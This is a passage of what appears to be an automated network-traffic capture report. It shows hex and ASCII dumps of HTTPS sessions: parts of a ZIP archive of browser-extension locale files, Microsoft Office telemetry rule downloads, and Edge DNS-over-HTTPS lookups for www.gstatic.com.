2024-10-30 03:34:35 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-30 03:34:35 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	50977	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:35 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033435Z-16849878b78tg5n42kspfr0x4800000007d000000000ms4p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:35 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	50979	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033435Z-16849878b7867ttgfbpnfxt44s000000079000000000hwx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	50980	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:35 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033435Z-r197bdfb6b4c8q4qvwwy2byzsw00000007qg00000000fq6s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50981	172.64.41.3	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 03:34:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 03:34:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da859b89901e792-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 03:34:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b6 00 04 8e fa 8a 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50983	162.159.61.3	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 03:34:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 03:34:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da859b89c71e7c3-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 03:34:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fa 8a 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50982	172.64.41.3	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 03:34:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 03:34:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 03:34:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da859b8afff469b-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 03:34:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	50988	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:36 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033436Z-16849878b785dznd7xpawq9gcn00000008sg00000000rpmq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:36 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	50990	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:36 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033436Z-16849878b7898p5f6vryaqvp58000000088g00000000f5n0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
